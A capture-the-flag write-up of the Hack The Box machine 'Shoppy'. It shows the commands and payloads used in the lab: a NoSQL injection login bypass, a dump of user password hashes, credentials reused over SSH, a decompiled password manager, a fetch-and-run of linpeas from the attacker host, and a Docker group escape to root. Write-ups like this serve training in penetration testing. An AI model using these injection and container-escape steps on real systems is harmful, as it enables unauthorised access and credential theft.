HTB - Shoppy

January 14, 2023

Shoppy is a HTB machine rated as easy. In hindsight it is quite an easy machine, but it has some nice tricks and some hurdles you might stumble upon. For this machine I was using Kali Linux, so any paths I might use for e.g. wordlists, are available in a Kali VM. I recommand attempting this machine on your own before refering to the writeup, but if you are earlier in your journey and don’t know where to start, perform the steps as you read them, it will really help you get a grasp of what’s happening, and put you into situations where you can learn new things.

Foothold

To begin, I ran Nmap: sudo nmap -sC -sV -Pn -p- -oN scan 10.10.11.180 This revealed 3 ports: 22 for ssh, 80 for http, and an unrecognized service at 9093 that seems like a log output. Nmap

Upon trying to connect to the http website, it redirects to shoppy.htb, which means we should add an entry to our /etc/hosts file as follows 10.10.11.180 shoppy.com and then we can connect to it.

Throughout my testing I like to use the Burpsuite proxy browser, as I can easily come back to requests I’ve done. To open this browser, start a temporary Burpsuite project, go to the proxy tab, and click Open Browser, make sure intercept is off, and now all the traffic will be routed through Burpsuite and you can view it in the HTTP history sub-tab.

Upon entering the website, it only displays a counter and not much else. Shoppy

This means we should do some automatic enumeration. I will check for directories and for subdomains using gobuster.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://shoppy.htb/

gobuster vhost -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u shoppy.htb --append-domain

Since the subdomain search is slower and less likely to detect something, I will leave it running in the background while I explore the website.

DirectorySearch

The dir search reveals a few items, but the most interesting one is the Login page. After accesing it, I make a login attempt with admin:admin so that I can see the request in burp and analyze it. I see the body of the request contains 2 parameters, username and admin. I copy the request from burp as a file and try running sqlmap on it as maybe I can find an SQL injection. sqlmap -r login.txt --batch. Unfortunately it seems like sqlmap does not find anything.

LoginAttempt

I also try running FFUF with a list of special characters. In order to do this, you must first edit the file so that the place you want to fuzz (in our case the username or password parameter) says FUZZ. login.txt

When I did this with the password field, all the requests gave back the same response, but with the user field, 2 requests returned errors, and judging by the long rutime of ffuf I would guess these timed out.

ffuf

After inspecting the wordlist I used, I notice the characters that probably caused the error are ' and \. This means some sort of injection is possible, but since sqlmap hasn’t found anything, maybe it is a NoSql injection.

I search for NoSQL injection on hacktricks https://book.hacktricks.xyz/pentesting-web/nosql-injection and find the following for basic authentication.

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

Unfortunately these don’t work, but lower on the page I see SQL - Mongo, so I try the payloads from there:

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

They all timeout, which means they are being processed by the backend, but still no response, so I start editing the payload. I assume maybe there is something after the payload that breaks the request if it is commented out, so I decide to try adding another or condition and open a quotation mark after the 1==1, and my payload turns into ' || 1==1 || '.

I use this payload for the username with an empty password, and I am logged into the page.

shoppy_products

On the right side I see there is a search for users button, and when I go there I can input a username and search for it. Unfortunately I don’t know any usernames. I try searching for admin and it is found, it returns a json file with an id, a username and a password hash.

ShoppySearch

At this point I wonder if maybe this field is injectable in the same way as the login form, so I send ' || 1==1 || ' to it, and indeed it finds something. When I open the json file, I find data about 2 users:

[{"_id":"62db0e93d6d6a999a66ee67a","username":"admin","password":"23c6877d9e2b564ef8b32c3a23de27b2"},{"_id":"62db0e93d6d6a999a66ee67b","username":"josh","password":"6ebcea65320589ca4f2f1ce039975995"}]

I input the 2 password hashes into https://crackstation.net/ and it returns a password for the user Josh.

Crackstation

This password unfortunately does not work on the login page, so let’s check if the gobuster subdomain search found anything. I notice one match was found: mattermost.shoppy.htb. I add this to the hosts file as well, and browse to it. After looking up mattermost on google, I see it is a collaboration tool for teams, the likes of slack.

SubdomainSearch

The subdomain points directly to a login page. I try using the user josh with the password I found, and it logs me in.

Mattermost

Searching around in the channels, I find a few details. User jaeger shared some credentials in a private chat username: jaeger password: Sh0ppyBest@pp! in relation to a deploy machine, and they keep mentioning how they need to use docker for deployments. I wonder if these credentials could be used for SSH.

ssh jaeger@10.10.11.180 with password Sh0ppyBest@pp! And here’s our user shell.

usershell

Priviledge Escalation

Now that we got the user shell, we can begin our search for a root shell. On this particular machine, manual enumeration will be enough, but in case you would like, you can copy linpeas from your computer to the victim machine through the user jaeger and run it to check if you find anything interesting. Our manual findings will also be present in the linpeas output. You can copy and run it by using the following commands:

On attacker host:

ip a # To find the address needed in the victim host step
cp /usr/share/peass/linpeas/linpeas.sh .
python -m http.server 80

On victim host:

wget http://10.10.16.2/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh

For manual enumeration, let’s check sudo -l first to see what the user can run.

Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

We see that user jaeger can run the command password-manager as deploy. This password manager probably contains some credentials we can use so it’d be nice to get it. We can run sudo -u deploy /home/deploy/password-manager and we get a welcome message and we are asked to enter the master password. None of the passwords we found so far work here.

Welcome to Josh password manager!
Please enter your master password:

Let’s take a closer look at this file and at the /home/deploy directory.

$ ls -l
total 28
-rw------- 1 deploy deploy    56 Jul 22 13:15 creds.txt
-rwxr--r-- 1 deploy deploy 18440 Jul 22 13:20 password-manager
-rw------- 1 deploy deploy   739 Feb  1  2022 password-manager.cpp

We see there is a password-manager.cpp file that is probably what was compiled to get the executable, and a creds.txt file which is prabably what the password manager opens, but we only have read permissions on the executable.

I try reading the executable through strings password-manager but I cannot see anything interesting, so I decide to copy it to my attacker host and decompile it in ghidra.

scp jaeger@10.10.11.180:/home/deploy/password-manager password-manager

After you open ghidra and create a new project or use your previous project, you can open the actual code browser by clicking the green dragon, and in the new window choose File > Import File and select your password-manager executable. When ghidra asks you, you can import the file as an ELF and Analyse it.

After it is analysed, we can open the main function from the left Symbol Tree and take a look.

Ghidra

When we look at the decompiled code, we can see that it reads our input in local_48, then creates a new buffer local_68, in which it adds one-by-one the characters S a m p l e, which means most likely the password is Sample. When we try running the password-manager again on the victim with this password, it reveals the credentials for the user deploy, that we can log into using su, or by opening a new ssh session

jaeger@shoppy:/home/deploy$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

jaeger@shoppy:/home/deploy$ su deploy
Password: 
$ whoami
deploy

Running sudo -l we see that this user cannot run sudo. But when we check which groups the user belongs to, we see it is in the docker group.

$ groups
deploy docker

When we go to the hackertricks page on docker priviledge escalation, we get a clear path to escalate to root. https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout#docker-breakout-privilege-escalation

$ docker images # To find which image we can use
REPOSITORY   TAG       IMAGE ID       CREATED        SIZE
alpine       latest    d7d3d98c851f   5 months ago   5.53MB
$ docker run -it -v /:/host/ alpine chroot /host/ bash
root@27424320267c:/# docker run -it --rm --pid=host --privileged alpine sh
/ # nsenter --target 1 --mount --uts --ipc --net --pid -- bash
root@shoppy:/#

And we just got the root access on the host machine using a docker escape. Don’t forget to get the /home/jaeger/user.txt and the /root/root.txt flags.

Techniques used in this machine: NoSql Injection, Found credentials, executable decompilation, Using Docker for priviledge escalation.

Overall I think it was a really fun machine, and while it had some hurdles, I think there is a lot to learn here. I recommand looking a bit more into container escape techniques such as the docker nsenter one, as they come up quite often in cloud security and they are also quite interesting.


Written by Alex, student of things.
You can follow me on twitter.